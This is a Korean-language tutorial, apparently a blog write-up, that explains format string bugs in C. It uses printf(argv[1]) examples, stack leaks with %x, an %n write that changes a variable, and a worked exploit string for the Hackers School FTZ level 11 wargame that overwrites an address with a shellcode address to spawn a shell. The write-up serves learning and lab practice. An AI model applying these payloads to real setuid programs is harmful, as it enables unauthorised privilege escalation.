A Study of Uncontrolled Format String
포맷 스트링 버그 또는 포맷 스트링 취약점에 대해 기술한다.
이 취약점은 문법의 유연성에서 기인한다고 생각한다. 아래 코드를 살펴보자.
1 2 3 4 5 |
#include <stdio.h> int main(){ char str[] = "AAAA"; printf(str); } |
위의 예제는 정상적으로 컴파일되며, 실행하면 AAAA라는 문자열을 정상적으로 출력한다. 하지만, C 언어를 조금이라도 배웠던 사람이라면, 뭔가 허전한 느낌을 받을 것이다.
1 2 3 4 5 |
#include <stdio.h> int main(){ char str[] = "AAAA"; printf("%s", str); } |
포맷 스트링이 생략되었다. 포맷 스트링이 없어도 정상적으로 출력되는 걸 몰랐다고 하더라도 이것으로 무엇을 할 수 있을까?
1 2 3 4 5 6 7 8 |
#include <stdio.h> int main(int argc, char* argv[]){ int i = 10; char *str1 = "I'm a would-be hacker."; char *str2 = "I'm xiphiasilver."; printf(argv[1]); printf("\n"); } |
위 코드를 컴파일한 후 이상한 입력을 넣어보자.
1 2 |
[root@ftz tmp]# ./test "%x" 804841c |
입력으로 포맷 스트링 %x을 넣어 봤더니, 뭔가 모르는 값이 나왔다. 포맷 스트링의 수를 늘려보자.
1 2 |
[root@ftz tmp]# ./test "%x %x %x %x %x" 804841c 8048410 a bfffdc88 42015574 |
출력된 값은 주소값 같아 보인다. 디버거를 통해 확인 해보자.
1 2 3 4 5 6 7 |
(gdb) x/s 0x0804841c 0x804841c <_IO_stdin_used+16>: "I'm xiphiasilver." (gdb) x/s 0x08048410 0x8048410 <_IO_stdin_used+4>: "I'm a would-be hacker." (gdb) x/5x $esp 0xbffff2fc: 0x0804841c 0x08048410 0x0000000a 0xbffff328 0xbffff30c: 0x42015574 |
스택에 저장된 값과 포맷 스트링 입력에 의한 출력이 완전히 일치한다. 즉, printf() 함수에서 포맷 스트링을 생략한 경우, 포맷 스트링이 입력된다면 포맷 스트링의 수만큼 스택에 저장된 값을 출력한다.
1 2 3 4 5 6 7 8 9 10 |
#include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]){ static int i = 10; char str[256]; strcpy(str, argv[1]); printf(str); printf("\n"); printf("%p\n", &i); } |
위 코드를 컴파일하고, 이번에도 포맷 스트링을 입력해 보자. 가독성을 위해 %8x을 입력한다.
1 2 3 |
[root@ftz tmp]# ./test "%8x %8x %8x %8x %8x" bffffc1a 40015b88 1 20783825 20783825 i = 10, Addr of i = 0x80494a0 |
20783825가 반복되는데, 입력된 %8x 의 ASCII값이 리틀 엔디언 방식으로 저장되어 있음을 알 수 있다. 좀 더 알아보기 편하게 입력을 조금 수정하자.
1 2 3 |
[root@ftz tmp]# ./test "AAAA %8x %8x %8x %8x %8x" AAAA bffffc15 40015b88 1 41414141 78382520 i = 10, Addr of i = 0x80494a0 |
제일 앞에 출력된 AAAA는 제일 앞에 입력한 AAAA가 그대로 출력된 것이고, 그 뒤에 출력된bffffc15부터가 입력된 포맷 스트링에 의해 스택에 저장된 값이 출력된 것이다. 4번째 포맷 스트링에서 입력한 문자열(41414141 → AAAA)이 출력되기 시작한다.
지금부터 변수 i에 저장된 값을 변경할 것이다.
1 2 3 |
[root@ftz tmp]# ./test $(printf "\x41\x41\x41\x41\xa0\x94\x04\x08")%8x%8x%8x%8x%n AAAAbffffc1740015b88 141414141 i = 40, Addr of i = 0x80494a0 |
변수 i의 값이 40으로 변경되었다. 변수 i의 값이 변경된 이유 또한 포맷 스트링 때문이다. 입력의 제일 마지막에 %n이라는 포맷 스트링은 좀 특별하다. %n은 대응되는 주소에 %n 이전까지 입력된 바이트(byte)의 합을 입력한다.
먼저 변수 i의 값이 40인 이유부터 알아보자. \x41과 같은 16진수 값은 1바이트이고, 8개 있으니까 일단 8바이트. %8x는 41414141처럼 8개의 문자니까 8바이트가 된다. %8x가 4개니까 32바이트. 더하면 40바이트. 그래서 40이 입력된다.
포맷 스트링의 동작에 관해서는 아래 표를 참고하자.
[supsystic-tables id=’1′]
입력한 포맷 스트링들은 스택에 저장된 값들과 위의 표와 같이 대응된다고 생각하자. 따라서, %n은 변수 i의 주소0x80494a0에 40을 입력하게 된다. 만약 %8x가 하나 덜 입력하면, %n은 0x41414141과 대응하게 되어 Segment Fault를 발생시키게 될 것이다.
이번에는 해커스쿨 FTZ 의 레벨 11번 문제를 풀어보자.
1 2 3 4 5 6 7 8 9 |
#include <stdio.h> #include <stdlib.h> int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } |
이 문제는 다른 방법(버퍼 오버플로우)으로도 해결할 수 있지만, 포맷 스트링 취약점을 이용하자. 쉘코드는 따로 언급하지 않겠다.
1 2 |
[level11@ftz level11]$ ./attackme "AAAA %8x %8x %8x %8x %8x" AAAA bffff47d bfffd740 1 41414141 78382520 |
4번째 포맷 스트링 %8x에서 입력값의 시작인 AAAA가 출력된다. 쉘코드의 주소는 0xbffff4d3이며, 주소 0x08049610에 쉘코드의 주소를 입력해야 한다.
1 |
./attackme $(printf "\x10\x96\x04\x08\x12\x96\x04\x08\x12\x96\x04\x08")%8x%8x%62647c%n%52012c%n |
위와 같이 입력하면 쉘이 떨어진다. 포맷 스트링 %c를 사용했는데, 원하는 값을 입력하기 위한 용도로 사용되고 있음을 구분하기 위한 것으로 %x 등 어떤 포맷 스트링을 사용해도 상관없다.
[supsystic-tables id=’2′]
입력해야 하는 값, 즉 쉘코드의 주소(0xbffff4d3 = 3221222611)는 정수 입력 범위를 초과하기 때문에, 나누어서 입력해야 한다. 이 부분이 이 문제 해결을 위한 핵심이다. 리틀 엔디안을 고려해서 0xf4d3은 0x08049610에 입력하고 0xbfff은 0x08049612에 입력한다. 여기서 리틀 엔디안을 고려한다면 0xd3f4를 입력해야 하는게 아닌가라고 생각할 수 있다. 하지만, 이 부분은 앞 부분(printf 절)처럼 각 메모리 주소마다 직접 입력하는 형태가 아니기 때문에 일반적인 정수 형태로 전달하면 메모리에 저장할 때 리틀 엔디안 형태로 변경되어 저장될 것이다.
0xf4d3 = 62675, 62675 – 28 = 62647
위 계산에 따라서, 첫 번째 %c는 %62647c가 된다.
이제 0xbfff를 입력해야 하는데, 이미 앞에 0xf4d3만큼의 바이트가 입력되어 있다. 문제는 0xbfff보다 0xf4d3가 크다는 것이다. 0x34D4만큼 빼주어야 하는데, 음수를 어떻게 입력해야 하나? 원래는 2의 보수 계산을 통해 값을 결정해야 한는데, 그냥 편하게 아래와 같이 계산하며 된다고 한다.
0x1bfff – 0xf4d3 = 0xcb2c = 52012
이렇게 계산하는 이유는 아래 계산식을 통해 유추할 수 있을 것 같다.
0xf4d3 + 0xcb2c = 0x1bfff
여하튼 두 번째 %c는 %52012c가 된다.